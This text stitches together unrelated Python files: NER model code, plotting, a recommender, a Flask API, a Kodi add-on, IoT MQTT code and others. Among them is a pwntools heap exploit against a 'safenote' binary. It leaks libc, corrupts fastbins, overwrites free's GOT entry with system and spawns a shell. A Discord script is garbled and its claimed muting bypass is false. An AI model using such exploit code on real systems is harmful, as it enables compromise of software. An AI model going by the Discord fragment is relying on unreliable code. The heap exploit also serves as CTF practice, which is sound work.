            end_logits = self.end_fc(seq_out)
        elif self.scheme == 11:
            # 这是最原始的方式

            seq_out = self.mid_linear(padded_sequence_output)
            start_logits = self.start_fc(seq_out)
            inter_logits = self.inter_linear(start_logits)
            seq_out = (seq_out + inter_logits) / 2
            end_logits = self.end_fc(seq_out)
        elif self.scheme == 12:
            # 加权方式是学习参数
            seq_out = self.mid_linear(padded_sequence_output)
            start_logits = self.start_fc(seq_out)
            inter_logits = self.inter_linear(start_logits)

            seq_out = self.dynamic_weight*seq_out + (1-self.dynamic_weight)*inter_logits
            end_logits = self.end_fc(seq_out)
        elif self.scheme == 13:
            # 加权方式是+
            seq_out = self.mid_linear(padded_sequence_output)
            start_logits = self.start_fc(seq_out)
            inter_logits = self.inter_linear(start_logits)

            seq_out = seq_out + inter_logits
            end_logits = self.end_fc(seq_out)
        elif self.scheme == 2:
            seq_out = self.mid_linear(padded_sequence_output)
            start_logits = self.start_fc(seq_out)
            inter_logits = F.relu(self.inter_linear(start_logits))

            seq_out = torch.cat((seq_out,inter_logits),axis=-1)
            end_logits = self.end_fc(seq_out)
        elif self.scheme == 3:
            seq_out = self.mid_linear(padded_sequence_output)

            start_logins = self.inter_linear(seq_out)
            start_logits = self.start_fc(start_logins)
            inter_logits = F.tanh(self.inter_linear2())
            seq_out = torch.cat((seq_out, inter_logits), axis=-1)
            end_logits = self.end_fc(seq_out)
        elif self.scheme == 4:
            seq_out = self.mid_linear(padded_sequence_output)
            start_logits = self.start_fc(seq_out)
            inter_logits = F.relu(self.inter_linear(start_logits)[0])
            seq_out = (seq_out + inter_logits) / 2
            end_logits = self.end_fc(seq_out)
        elif self.scheme == 5:
            seq_out = self.mid_linear(padded_sequence_output)
            start_logits = self.start_fc(seq_out)
            inter_logits = F.relu(self.inter_linear(start_logits))
            seq_out = (seq_out + inter_logits)
            end_logits = self.end_fc(seq_out)
        elif self.scheme == 6:
            seq_out = self.mid_linear(padded_sequence_output)
            seq_out = self.dropout(seq_out[0])
            start_logits = self.start_fc(seq_out)
            inter_logits = F.relu(self.inter_linear(start_logits))
            seq_out = (seq_out + inter_logits)
            end_logits = self.end_fc(seq_out)

        elif self.scheme == 7:

            seq_out = self.mid_linear(padded_sequence_output)
            seq_out = self.dropout(seq_out)

            start_logits = self.start_fc(seq_out)
            inter_logits = F.relu(self.inter_linear(start_logits))
            seq_out = (seq_out + inter_logits)
            end_logits = self.end_fc(seq_out)
        elif self.scheme == 8:

            start_seq_out = self.start_mid_linear(padded_sequence_output)
            end_seq_out = self.end_mid_linear(padded_sequence_output)
            start_logits = self.start_fc(start_seq_out)
            inter_logits = F.relu(self.inter_linear(start_seq_out))
            end_seq_out = (end_seq_out + inter_logits)
            end_logits = self.end_fc(end_seq_out)
        elif self.scheme == 30:
            # bilstm+加权方式是+
            seq_out,_ = self.mid_linear(padded_sequence_output)
            start_logits = self.start_fc(seq_out)
            inter_logits = self.inter_linear(start_logits)

            seq_out = seq_out + inter_logits
            end_logits = self.end_fc(seq_out)
        elif self.scheme == 40:
            # bilstm+加权方式是+

            seq_out, _ = self.mid_linear(padded_sequence_output)
            start_logits = self.start_fc(seq_out)
            inter_logits = self.inter_linear(start_logits)

            seq_out = seq_out + inter_logits
            end_logits = self.end_fc(seq_out)

        else:
            raise ValueError

        loss_mask = torch.zeros((start_logits.shape[0], start_logits.shape[1])).to(token_ids.device)

        for i, lens in enumerate(input_true_length):
            loss_mask[i][:lens] = 1
            # 正好修正start_ids,end_ids的情况

        # 由于多GPU，修改start_ids

        out = (start_logits, end_logits,)

        if start_ids is not None and end_ids is not None:  # 这是训练模式，计算loss
            # start_logtis.shape=torch.Size([4096, 14])

            start_logits = start_logits.view(-1, self.num_tags)
            end_logits = end_logits.view(-1, self.num_tags)

            # 去掉 padding 部分的标签，计算真实 loss

            mask = loss_mask.view(-1) == 1

            active_start_logits = start_logits[mask]  # (?,14)这个？的值就并不确定了

            active_end_logits = end_logits[mask]

            active_start_labels = start_ids.view(-1)[mask]

            active_end_labels = end_ids.view(-1)[mask]

            start_loss = self.criterion(active_start_logits, active_start_labels).mean(dim=-1)
            end_loss = self.criterion(active_end_logits, active_end_labels).mean(dim=-1)
            loss = start_loss + end_loss
            out = (loss,) + out

        return out


import pandas as pd
import altair as alt

import joblib

RECT_SIZE = 13

source = pd.read_json(snakemake.input[0])

df_sb = source.loc[source.Encoding == "zscale", :].copy(deep=True)
df_sb.Encoding = "zzz"
df_sb.F1 = "separator"

dfs, names_imbalanced = [], []
for bf in sorted(source["bio_field"].unique()):
    df_tmp = source.loc[source.bio_field == bf, :]
    df_ds = source.loc[source.Dataset == "cpp_sanders", :].copy(deep=True)
    df_ds.bio_field, df_ds.Dataset, df_ds.F1, df_ds.is_imbalanced = \
        bf, f"{bf}_zzz", "separator", 1.0
    df_tmp = pd.concat([df_tmp, df_ds]).sort_values("is_imbalanced")
    names_imbalanced += list(df_tmp.Dataset.unique())
    dfs += [df_tmp]

source = pd.concat([source, df_sb] + dfs)
source.reset_index(inplace=True)

last_ds_name = list(source.Dataset.unique())[-1]
source = source.drop(source[source.Dataset == last_ds_name].index)

names_seq = list(source.loc[source.type == "sequence based", "Encoding"].sort_values().unique())
names_str = list(source.loc[source.type == "structure based", "Encoding"].sort_values().unique())

x_axis = alt.Axis(
    tickCount=len(source.Encoding),
    labelExpr="datum.label == 'zzz' ? null : datum.label",
    labelAngle=-45
)

y_axis = alt.Axis(
    tickCount=len(source.Encoding),
    labelExpr="substring(datum.label, 4) == 'zzz' ? null : datum.label"
)

sort_x_axis = alt.Sort(alt.SortArray(names_seq + names_str))
sort_y_axis = alt.Sort(alt.SortArray(names_imbalanced))

tooltip = ["Encoding:N", "Dataset:N", "F1:Q", "is_imbalanced:Q"]

url = snakemake.input[0].replace("source", "bio")
source.to_json(url, orient="records")

chart1 = alt.Chart(url).mark_rect(opacity=0.9).encode(
    x=alt.X('Encoding:N', axis=x_axis, sort=sort_x_axis),
    y=alt.Y('Dataset:N', axis=y_axis, sort=sort_y_axis),
    color=alt.Color('F1:Q', scale=alt.Scale(
        domain=[0.0, 1.0], range=["#a6bddb", "#023858"]
    )),
    tooltip=tooltip
)

chart2 = alt.Chart(url).mark_rect(size=RECT_SIZE).encode(
    x=alt.X('Encoding:N', axis=x_axis, sort=sort_x_axis),
    y=alt.Y('Dataset:N', axis=y_axis, sort=sort_y_axis),
    color=alt.Color(
        'F1_new:N',
        title="Value",
        scale=alt.Scale(domain=["NA"], range=["#a6611a"])
    ),
).transform_calculate(
    F1_new="datum.F1 == null ? 'NA' : 'NA'"
).transform_filter(
    alt.datum.F1 == None
).properties(
    height={"step": RECT_SIZE},
    width={"step": RECT_SIZE}
)

chart = (chart1 + chart2)

joblib.dump(chart, snakemake.output[0])


__author__ = 'wangwei'

# A dictionary of movie critics and their ratings of a small
# set of movies
critics = {'Lisa Rose': {'Lady in the Water': 2.5, 'Snakes on a Plane': 3.5,
                         'Just My Luck': 3.0, 'Superman Returns': 3.5, 'You, Me and Dupree': 2.5,
                         'The Night Listener': 3.0},
           'Gene Seymour': {'Lady in the Water': 3.0, 'Snakes on a Plane': 3.5,
                            'Just My Luck': 1.5, 'Superman Returns': 5.0, 'The Night Listener': 3.0,
                            'You, Me and Dupree': 3.5},
           'Michael Phillips': {'Lady in the Water': 2.5, 'Snakes on a Plane': 3.0,
                                'Superman Returns': 3.5, 'The Night Listener': 4.0},
           'Claudia Puig': {'Snakes on a Plane': 3.5, 'Just My Luck': 3.0,
                            'The Night Listener': 4.5, 'Superman Returns': 4.0,
                            'You, Me and Dupree': 2.5},
           'Mick LaSalle': {'Lady in the Water': 3.0, 'Snakes on a Plane': 4.0,
                            'Just My Luck': 2.0, 'Superman Returns': 3.0, 'The Night Listener': 3.0,
                            'You, Me and Dupree': 2.0},
           'Jack Matthews': {'Lady in the Water': 3.0, 'Snakes on a Plane': 4.0,
                             'The Night Listener': 3.0, 'Superman Returns': 5.0, 'You, Me and Dupree': 3.5},
           'Toby': {'Snakes on a Plane': 4.5, 'You, Me and Dupree': 1.0, 'Superman Returns': 4.0}}

import math

# Returns a distance-based similarity score for person1 and person2
# cri1 and cri2 contain user group of item name and cri2 contain user group of item score
def sim_distance(cri1, cri2, person1, person2):
    # Get the list of shared_items
    si = {}

    for item in cri1[person1]:
        if item in cri1[person2]:
            si[item] = 1
    # if they ha ve no ratings in common, return 0
    if len(si) == 0:
        return 0
    # Add up the squares of all the differences
    sum_of_squares = math.sqrt(sum([pow(cri2[person1][cri1[person1].index(item)]-cri2[person2][cri1[person2].index(item)], 2)
                          for item in cri1[person1] if item in cri1[person2]]))

    return 1 / (1 + sum_of_squares)

# def sim_distance2(cri3, cri4, itemid1, itemid2):
#     si = {}
#     for item in cri3[itemid1]:
#         if item in cri3[itemid2]:
#             si[item] = 1
#
#     if len(si) == 0:
#         return 0
#
#     distance = math.sqrt(sum([pow(cri4[itemid1][person]-cri4[itemid2][person], 2)
#                           for person in cri3[itemid1] if person in cri3[itemid2]]))
#     return 1 / (1 + distance)

# Returns a Pearson-correlation based similarity score for person1 and person2
def sim_pearson(cri1, cri2, userid1, userid2):
    si = {}
    for item in cri1[userid1]:
        if item in cri1[userid2]:
            si[item] = 1
    n = len(si)

    if n == 0:
        return 0
    sum1 = sum([cri2[userid1][cri1[userid1].index(item)] for item in si])
    sum2 = sum([cri2[userid2][cri1[userid2].index(item)] for item in si])

    sum1sq = sum([pow(cri2[userid1][cri1[userid1].index(item)], 2) for item in si])
    sum2sq = sum([pow(cri2[userid2][cri1[userid2].index(item)], 2) for item in si])

    psum = sum([cri2[userid1][cri1[userid1].index(item)] * cri2[userid2][cri1[userid2].index(item)] for item in si])

    # calculate the pearson score
    num = psum - (sum1*sum2/n)
    den = math.sqrt((sum1sq-pow(sum1, 2)/n)*(sum2sq-pow(sum2, 2)/n))

    if den == 0:
        return 0
    r = num / den
    return r

def sim_pearson2(cri3, cri4, itemid1, itemid2):
    si = {}
    for person in cri3[itemid1]:
        if person in cri3[itemid2]:
            si[person] = 1
    n = len(si)

    if n == 0:
        return 0
    sum1 = sum([cri4[itemid1][cri3[itemid1].index(person)] for person in si])
    sum2 = sum([cri4[itemid2][cri3[itemid2].index(person)] for person in si])

    sum1sq = sum([pow(cri4[itemid1][cri3[itemid1].index(person)], 2) for person in si])
    sum2sq = sum([pow(cri4[itemid2][cri3[itemid2].index(person)], 2) for person in si])

    psum = sum([cri4[itemid1][cri3[itemid1].index(person)] * cri4[itemid2][cri3[itemid2].index(person)] for person in si])

    # calculate the pearson score
    num = psum - (sum1*sum2/n)
    den = math.sqrt((sum1sq-pow(sum1, 2)/n)*(sum2sq-pow(sum2, 2)/n))

    if den == 0:
        return 0
    r = num / den
    return r

# Returns the best matches for person from the 'usersprefs' dictionary.
# Number of results and similarity function are optional params.
def topMatches(cri1, cri2, userid1, n=5, similarity=sim_pearson):
    scores = [(similarity(cri1, cri2, userid1, other), other) for other in cri1 if other != userid1]

    # sort the list
    scores.sort()
    scores.reverse()
    return scores[0:n]

def topMatches2(cri3, cri4, itemid1, n=5, similarity=sim_pearson2):
    scores = [(similarity(cri3, cri4, itemid1, other), other) for other in cri3 if other != itemid1]

    # sort the list
    scores.sort()
    scores.reverse()
    return scores[0:n]
# Gets recommendations for a person by using a weighted average
# of every other user's rankings
def getRecommendations(cri1, cri2, userid1, n=3, similarity=sim_pearson):
    totals = {}
    simSums = {}
    for other in cri1:
        #print other

        # don't compare me to myself
        if other == userid1:
            continue
        sim = similarity(cri1, cri2, userid1, other)

        if sim <= 0:
            continue
        for item in cri1[other]:
            # only score movies I haven't seen yet
            if item not in cri1[userid1] or cri2[userid1][cri1[userid1].index(item)] == 0:
                totals.setdefault(item, 0)
                totals[item] += sim * cri2[other][cri1[other].index(item)]
                simSums.setdefault(item, 0)
                simSums[item] += sim
    #print totals.items()
    rankings = [(totals[item]/simSums[item], item) for item in totals]
    # another way is
    # rankings = [(total/simSums[item], item) for item,total in totals.items()]
    rankings.sort()
    rankings.reverse()
    return rankings[0:n]

#recsystable.getRecommendations(cri1,cri2,216,similarity=recsystable.sim_pearson)


# -*- coding: utf-8 -*-
"""
API
/api_part/formula_search - search API
/api_part/contexts/<formula_id> - contexts for one formula (with span)
"""
from flask import Flask
from flask_restful import Api
from flask_cors import CORS

from api_part.models import db
from api_part.api import FormulaSearch, FormulaContexts

app = Flask(__name__)
app.config['CORS_HEADERS'] = 'Content-Type'
cors = CORS(app, resorces={r'/api/formula_search/*': {"origins": '*'}})

app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///ice_site.db'
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False
app.config['JSON_AS_ASCII'] = False
db.app = app
db.init_app(app)
db.create_all()

api = Api(app)
api.add_resource(FormulaSearch, '/api/formula_search')
api.add_resource(FormulaContexts, '/api/contexts/<formula_id>')

if __name__ == '__main__':
    app.run(debug=True, port=5010)


import os
os.environ
from PIL import Image
from torchvision import transforms, models
import torch
import torch.nn as nn

model = models.resnet50(pretrained=True)
num_features = model.fc.in_features
model.fc = nn.Linear(num_features, 8)

model_path = './age_prediction_model/age_best_model.pth'
model.load_state_dict(torch.load(model_path, map_location = torch.device('cpu')))

test_transform = transforms.Compose([
    transforms.Resize(128),
    transforms.ToTensor(),
    transforms.Normalize(mean=[0.5, 0.5, 0.5], std=[0.5, 0.5, 0.5])
])

model.eval()
image = Image.open('face.jpg').convert('RGB')
image = test_transform(image).unsqueeze(0)
out = model(image)
_, preds = torch.max(out, 1)
d_class = preds[0].item()

label = -1
if d_class > 4:
    print("노인 입니다")
    os.system("F5.bat")
else:
    print("노인이 아닙니다")
    os.system("F4.bat")
    pass

os.remove('face.jpg')
os.system('python ./hand-gesture-recognition-mediapipe/app.py')


from pwn import *

#context.log_level= 'debug'
#context.aslr = False

io = process('./safenote')
e = ELF('./safenote')
libc = e.libc

def add(size, buf):
	io.recvuntil('Exit\n')
	io.sendline('1')
	io.recvuntil(':\n')
	io.sendline(str(size))
	io.recvuntil('cmd:\n')
	io.sendline(buf)

def delete(id):
	io.recvuntil('Exit\n')
	io.sendline('2')
	io.recvuntil('id:')
	io.sendline(str(id))

def listall():
	io.recvuntil('Exit\n')
	io.sendline('4')
	io.recvuntil('+++++++++++++++++++++++')
	#buf = io.recvuntil('+++++++++++++++++++++++')
	#return buf.strip('+')

def edit(id, buf):
	io.recvuntil('Exit\n')
	io.sendline('5')
	io.recvuntil('d on list)\n')
	io.sendline(str(id))
	io.recvuntil(':\n')
	io.sendline(buf)

add(0x400 - 0x100, 'A'*0x20) # *0* alloc 0x300 as round 0x100!
add(0x100 - 0x100, 'B'*0x20) # *1*

delete(0)
add(0x100 - 0x100, 'C'*0x20) # *0* alloc 0x100
add(0x100 - 0x100, 'D'*0x20) # *2*
add(0x100 - 0x100, 'E'*0x20) # *3*

delete(0)
delete(1)  # merge

add(0x500 - 0x100, 'A'*0x20) # *0* overlap *2*
add(0x100 - 0x100, 'A'*0x20) # *1* avoid consolidate top chunk
add(0x100 - 0x100, 'A'*0x20) #
add(0x100 - 0x100, 'A'*0x20) # *5* used to leak key

edit(0, 'A'*(0x100 - 0x18)) # leak unsortbin_addr
listall()
io.recvuntil('A'*(0x100 - 0x18))
buf = io.recvuntil('\nid')[:-3]

#assert len(buf)==6
buf = buf.ljust(8,'\x00')
main_arena = u64(buf) - 88
log.success('main_arena:%#x'% main_arena)

libc_base = main_arena - 0x03a3620
global_max_fast = libc_base + 0x003a5860
libc.address = libc_base

payload = 'A'*(0x100 - 0x18 - 0x8)
payload += p64(0x101)
payload += p64(main_arena+88) + p64(main_arena+88)
edit(0, payload)

delete(2) # free *2*
payload = 'A'*(0x100 - 0x18 - 0x8)
payload += p64(0x101)
payload += p64(main_arena+88) + p64(global_max_fast - 0x10)
edit(0, payload)

add(0x100 - 0x100, 'D'*0x20) # *2* unsorted attack
# now global_max_fast = unsorted_bin
delete(3)
delete(2) # 2->fd = 3

edit(0, 'A'*(0x100 - 0x18 + 1 )) # heap_addr lastbyte is 0x00
listall()
io.recvuntil('A'*(0x100 - 0x18 + 1))
buf = io.recvuntil('\nid')[:-3]  # leak heap_addr
buf = ('\x00'+buf).ljust(8,'\x00')
heap_addr = u64(buf) - 0x200

log.success('heap:%#x'% heap_addr)

payload = 'A'*(0x100 - 0x18 - 0x8)
payload += p64(0x101)
payload += p64(0x602120)
edit(0, payload) # overlap fd, fastbin attack

add(0x100 - 0x100, 'A'*0x10) # *2*
add(0x100 - 0x100, '') # *3* we get bss here.

edit(3, 'X'*8)
listall()
io.recvuntil('X'*8)
buf = io.recv(8) # leak *5* ptr
xor_ptr = u64(buf)
key = xor_ptr ^ (heap_addr + 0x610)
log.success("key:%#x"% key)

#gdb.attach(io, 'b *0x4013C7\n b*0x4010AA ')# \nb* 0x00400BE9 ')
edit(3, 'A'*8 + p64((e.got['free'] - 24)^ key))
#listall()
#io.recvuntil('id 5 : ')
#buf = io.recv(6)
#buf = buf.ljust(8,'\x00')
#log.success('free:%#x'%u64(buf))

edit(5, p64(libc.symbols['system']))
edit(0, 'A'*(0x100 -0x18) + '/bin/sh\x00')
delete(2)

io.interactive()


# -*- coding: utf-8 -*-
# *  Credits:
# *
# *  original Audio Profiles code by Regss
# *  updates and additions through v1.4.1 by notoco and CtrlGy
# *  updates and additions since v1.4.2 by pkscout

import xbmc
import json
import os
import sys
from resources.lib.fileops import *
from resources.lib.xlogger import Logger
from resources.lib.apsettings import loadSettings
from resources.lib.approfiles import Profiles

def _upgrade():
    settings = loadSettings()
    if settings['version_upgrade'] != settings['ADDONVERSION']:
        settings['ADDON'].setSetting(
            'version_upgrade', settings['ADDONVERSION'])

class apManual:

    def __init__(self):
        """Runs the audio profiler switcher manually."""
        settings = loadSettings()
        lw = Logger(preamble='[Audio Profiles]', logdebug=settings['debug'])
        lw.log(['script version %s started' %
               settings['ADDONVERSION']], xbmc.LOGINFO)
        lw.log(['debug logging set to %s' % settings['debug']], xbmc.LOGINFO)
        lw.log(['SYS.ARGV: %s' % str(sys.argv)])
        lw.log(['loaded settings', settings])
        profiles = Profiles(settings, lw)
        try:
            mode = sys.argv[1]
        except IndexError:
            mode = False
        lw.log(['MODE: %s' % str(mode)])
        profiles.changeProfile(mode)
        lw.log(['script version %s stopped' %
               settings['ADDONVERSION']], xbmc.LOGINFO)

class apMonitor(xbmc.Monitor):

    def __init__(self):
        """Starts the background process for automatic audio profile switching."""
        xbmc.Monitor.__init__(self)
        _upgrade()
        self._init_vars()
        self.LW.log(['background monitor version %s started' %
                    self.SETTINGS['ADDONVERSION']], xbmc.LOGINFO)
        self.LW.log(['debug logging set to %s' %
                    self.SETTINGS['debug']], xbmc.LOGINFO)
        self._change_profile(
            self.SETTINGS['auto_default'], forceload=self.SETTINGS['force_auto_default'])
        while not self.abortRequested():
            if self.waitForAbort(10):
                break
        self.LW.log(['background monitor version %s stopped' %
                    self.SETTINGS['ADDONVERSION']], xbmc.LOGINFO)

    def onNotification(self, sender, method, data):
        data = json.loads(data)
        if 'System.OnWake' in method:
            self.LW.log(['MONITOR METHOD: %s DATA: %s' %
                        (str(method), str(data))])
            self._change_profile(self.SETTINGS['auto_default'])
        if 'Player.OnStop' in method:
            self.LW.log(['MONITOR METHOD: %s DATA: %s' %
                        (str(method), str(data))])
            self.waitForAbort(1)
            if not self.KODIPLAYER.isPlaying():
                self._change_profile(self.SETTINGS['auto_gui'])
        if 'Player.OnPlay' in method:
            self.LW.log(['MONITOR METHOD: %s DATA: %s' %
                        (str(method), str(data))])
            self._auto_switch(data)

    def onSettingsChanged(self):
        self._init_vars()

    def _init_vars(self):
        self.SETTINGS = loadSettings()
        self.PROFILESLIST = ['1', '2', '3', '4', '5', '6', '7', '8', '9', '10']
        # this only includes mappings we are 100% sure are accurate every time
        self.MAPTYPE = {'video': 'auto_videos', 'episode': 'auto_tvshows',
                        'musicvideo': 'auto_musicvideo', 'song': 'auto_music'}
        self.LW = Logger(
            preamble='[Audio Profiles Service]', logdebug=self.SETTINGS['debug'])
        self.PROFILES = Profiles(self.SETTINGS, self.LW, auto=True)
        self.KODIPLAYER = xbmc.Player()
        self.LW.log(['the settings are:', self.SETTINGS])
        self.LW.log(['initialized variables'])

    def _auto_switch(self, data):
        if self.SETTINGS['player_show']:
            self.LW.log(['showing select menu'])
            if self.PROFILES.changeProfile('popup') is not None:
                self.LW.log(['option selected, returning'])
                return
            self.LW.log(
                ['select menu timed out or was closed with no selection - continuing to auto select'])
        content_autoswitch = self._auto_switch_content(data)
        self.LW.log(['got a content autoswitch of %s' % content_autoswitch])
        if content_autoswitch not in ['auto_music', 'auto_pvr_radio']:
            codec_setting, channels_setting = self._auto_switch_stream()
            if codec_setting != '0':
                the_setting = codec_setting
                self.LW.log(['using the codec setting of %s' % the_setting])
            elif channels_setting != '0':
                the_setting = channels_setting
                self.LW.log(['using the channels setting of %s' % the_setting])
            elif self.SETTINGS['aggressive_music_match'] and codec_setting == '0' and channels_setting == '0' and content_autoswitch == 'auto_unknown':
                the_setting = self.SETTINGS['auto_music']
                self.LW.log(
                    ['stream does not seem to be video, using the auto_music setting of %s' % the_setting])
            else:
                the_setting = self.SETTINGS[content_autoswitch]
                self.LW.log(['using the content setting of %s' % the_setting])
        else:
            the_setting = self.SETTINGS[content_autoswitch]
            self.LW.log(['using the content setting of %s' % the_setting])
        self._change_profile(the_setting)

    def _auto_switch_stream(self):
        if self.SETTINGS['codec_delay'] > 0:
            self.LW.log(['waiting %s seconds before trying to get stream details' % str(
                self.SETTINGS['codec_delay'])])
            self.waitForAbort(self.SETTINGS['codec_delay'])
        response = xbmc.executeJSONRPC(
            '{"jsonrpc":"2.0", "method":"Player.GetProperties", "params":{"playerid":1, "properties":["currentaudiostream"]}, "id":1}')
        r_dict = json.loads(response)
        self.LW.log(['got back audio stream data of:', r_dict])
        try:
            codec = r_dict['result']['currentaudiostream']['codec']
        except (IndexError, KeyError, ValueError, TypeError):
            codec = None
        try:
            channels = r_dict['result']['currentaudiostream']['channels']
        except (IndexError, KeyError, ValueError, TypeError):
            channels = None
        self.LW.log(['got %s for the codec and %s for the channels' %
                    (str(codec), str(channels))])
        if codec:
            codec_set = 'auto_othercodec'
            for check_codec in ['dtshd', 'truehd', 'ac3', 'eac3', 'dts', 'dca']:
                self.LW.log(['checking %s against %s' % (codec, check_codec)])
                if codec.startswith(check_codec):
                    if check_codec == 'dca':
                        check_codec = 'dts'
                    codec_set = 'auto_%s' % check_codec
                    break
        else:
            codec_set = 'none'
        try:
            codec_setting = self.SETTINGS[codec_set]
        except KeyError:
            codec_setting = '0'
        if channels:
            if channels > 2:
                channels_set = 'auto_multichannel'
            else:
                channels_set = 'auto_stereo'
        else:
            channels_set = 'none'
        try:
            channels_setting = self.SETTINGS[channels_set]
        except KeyError:
            channels_setting = '0'
        self.LW.log(['got codec set of %s and channels set of %s' %
                    (codec_set, channels_set)])
        self.LW.log(['sending back codec setting of %s and channel setting of %s' % (
            codec_setting, channels_setting)])
        return codec_setting, channels_setting

    def _auto_switch_content(self, data):
        try:
            thetype = data['item']['type']
        except KeyError:
            self.LW.log(
                ['data did not include valid item and/or type for playing media - aborting'])
            return
        self.LW.log(['the type is: %s' % thetype])
        theset = self.MAPTYPE.get(thetype)
        if not theset:
            if thetype == 'movie':
                # if video is a PVR recording assign to auto_pvr_tv
                if self._check_playing_file('pvr://'):
                    theset = 'auto_pvr_tv'
                # if video is not from library assign to auto_videos
                elif 'id' not in data['item']:
                    theset = 'auto_videos'
                # it must actually be a movie
                else:
                    theset = 'auto_movies'
            # distinguish pvr TV and pvr RADIO
            elif 'channel' in thetype and 'channeltype' in data['item']:
                if 'tv' in data['item']['channeltype']:
                    theset = 'auto_pvr_tv'
                elif 'radio' in data['item']['channeltype']:
                    theset = 'auto_pvr_radio'
                else:
                    theset = 'auto_unknown'
            # detect cdda that kodi return as unknown
            elif thetype == 'unknown':
                if self._check_playing_file('cdda://'):
                    theset = 'auto_music'
                else:
                    theset = 'auto_unknown'
            else:
                theset = 'auto_unknown'
            self.LW.log(['got %s from the content auto switch' % theset])
        return theset

    def _change_profile(self, profile, forceload=False):
        if profile in self.PROFILESLIST:
            last_profile = self._get_last_profile()
            self.LW.log(
                ['Last loaded profile: %s To switch profile: %s' % (last_profile, profile)])
            if last_profile != profile or forceload:
                self.PROFILES.changeProfile(profile)
            else:
                self.LW.log(['Same profile - profiles not switched'])
        elif profile == str(len(self.PROFILESLIST) + 1):
            self.LW.log(
                ['this auto switch setting is set to show the select menu - showing menu'])
            self.PROFILES.changeProfile('popup')

    def _check_playing_file(self, thestr):
        try:
            thefile = self.KODIPLAYER.getPlayingFile()
        except RuntimeError:
            self.LW.log(['error trying to get playing file from Kodi'])
            return False
        self.LW.log(['the playing file is: %s' % thefile])
        return thefile.startswith(thestr)

    def _get_last_profile(self):
        loglines, profile = readFile(os.path.join(
            self.SETTINGS['ADDONDATAPATH'], 'profile'))
        self.LW.log(loglines)
        if profile in self.PROFILESLIST:
            return profile
        else:
            return ''


import requests

# Replace this value with your own Discord API token
TOKEN = input("Enter your Discord API token: ")

headers = {
    "Authorization": f"Bot {TOKEN}",
    "User-Agent": "MyBot/1.0",
}

# Send a GET request to the Discord API to retrieve the webpack chunk data
response = requests.get("https://discordapp.com/api/v6/webpack/discord_app", headers=headers)
data = response.json()

# Extract the required data from the webpack chunk
wp_require = data[0][1]
mod = next(x for x in wp_require["c"].values() if hasattr(x["exports"], "default") and hasattr(x["exports"]["default"], "isDeveloper"))
user_mod = next(x for x in wp_require["c"].values() if hasattr(x["exports"], "default") and hasattr(x["exports"]["default"], "getUsers"))
nodes = list(mod["exports"]["default"]._dispatcher._actionHandlers._dependencyGraph.nodes.values())

# Try to execute the first part of the code
try:
    experiment_store = next(x for x in nodes if x.name == "ExperimentStore")
    experiment_store.actionHandler["CONNECTION_OPEN"]({"user": {"flags": 1}, "type": "CONNECTION_OPEN"})
except Exception as e:
    pass

# Execute the second part of the code
old_get_user = user_mod["exports"]["default"].__proto__.getCurrentUser
user_mod["exports"]["default"].__proto__.getCurrentUser = lambda: {"hasFlag": lambda: True}
developer_experiment_store = next(x for x in nodes if x.name == "DeveloperExperimentStore")
developer_experiment_store.actionHandler["CONNECTION_OPEN"]()
user_mod["exports"]["default"].__proto__.getCurrentUser = old_get_user

# This code allows for you to hear and speak while muted and deafened


from umqtt.simple import MQTTClient
import mfrc522
from os import uname
from machine import Pin
from time import sleep_ms
import machine
import dht

mqtt_server='192.168.12.45'
client_id = 'esp8266'
dht_data = b'/devices/esp8266/dht_data'
switch_control = b'/devices/esp8266/switch'
switch1_state = b'/devices/esp8266/switch/1/state'
switch2_state = b'/devices/esp8266/switch/2/state'

switch1 = Pin(12, Pin.OUT)
switch1.on()
switch2 = Pin(13, Pin.OUT)
switch2.on()
sensor = dht.DHT11(Pin(4))

#MQTT callback
def subscribe_calback(topic, msg):
  if (msg==b"switch1_on"):
    switch1.off()
    sleep_ms(200)
    client.publish(switch1_state, "150000")
    sleep_ms(200)
  elif (msg==b"switch2_on"):
    switch2.off()
    sleep_ms(200)
    client.publish(switch2_state, "300000")
    sleep_ms(200)
  elif (msg==b"switch1_off"):
    switch1.on()
    sleep_ms(200)
    client.publish(switch1_state, "0")
    sleep_ms(200)
  elif (msg==b"switch2_off"):
    switch2.on()
    sleep_ms(200)
    client.publish(switch2_state, "0")
    sleep_ms(200)

client = MQTTClient(client_id, mqtt_server)
client.set_callback(subscribe_calback)
client.connect()
client.subscribe(switch_control, 0)

while True:
  try:
    sleep_ms(1500)
    sensor.measure()
    temp = sensor.temperature()
    hum = sensor.humidity()
    msg = ('TEMP={0:3.1f},HUM={1:3.1f}'.format(temp, hum))
    client.publish(dht_data, msg)  # Publish sensor data to MQTT topic
    client.check_msg()
    print(msg)
  except OSError:
    print('Failed to read sensor.')

sleep_ms(200)


from tensorflow.python.framework.convert_to_constants import convert_variables_to_constants_v2
from onnx_tf.backend import prepare as prepare_onnx_model
import tensorflow as tf
import argparse
import onnx

parser = argparse.ArgumentParser()
parser.add_argument("--onnx_dir",     type=str,    help="Path where ONNX models are stored (.onnx)",
                    default='your_onnx_model_dir.onnx')
parser.add_argument("--output_dir",     type=str,    help="Path to save the converted model with tensorflow",
                    default='onnx2tf_converted/')
parser.add_argument("--gpu_num",          type=int,    help="Specify the GPU to perform the conversion on",
                    default=0)
args = parser.parse_args()

if __name__ == '__main__':
    gpu_number = '/device:GPU:' + str(args.gpu_num)
    with tf.device(gpu_number):
        """
            ONNX -> Tensorflow saved model
        """
        # Load the ONNX model and convert it to a tensorflow saved model.
        onnx_model = onnx.load(args.onnx_dir)
        onnx2tf_model = prepare_onnx_model(onnx_model)
        onnx2tf_model.export_graph(args.output_dir + 'onnx2tf_model')

        """
            Tensorflow savedf model -> Tensorflow frozen graph
        """
        # Load the saved tensorflow saved model.
        model = tf.saved_model.load(args.output_dir + 'onnx2tf_model')

        # Convert to frozen graph.
        frozen_out_path = args.output_dir + 'frozen_graph_result'
        # Set name of the frozen graph (.pb) file
        frozen_graph_filename = 'frozen_graph'

        full_model = tf.function(lambda x: model(images=x))  # full model
        full_model = full_model.get_concrete_function(
            tf.TensorSpec(model.signatures['serving_default'].inputs[0].shape.as_list(),
                          model.signatures['serving_default'].inputs[0].dtype.name))
        # Get frozen ConcreteFunction
        frozen_func = convert_variables_to_constants_v2(full_model)
        frozen_func.graph.as_graph_def()
        layers = [op.name for op in frozen_func.graph.get_operations()]

        print("Frozen model layers: ")
        for layer in layers:
            print(layer)

        print("Frozen model inputs: {0}".format(frozen_func.inputs))
        print("Frozen model outputs: {0}".format(frozen_func.outputs))

        # Save frozen graph
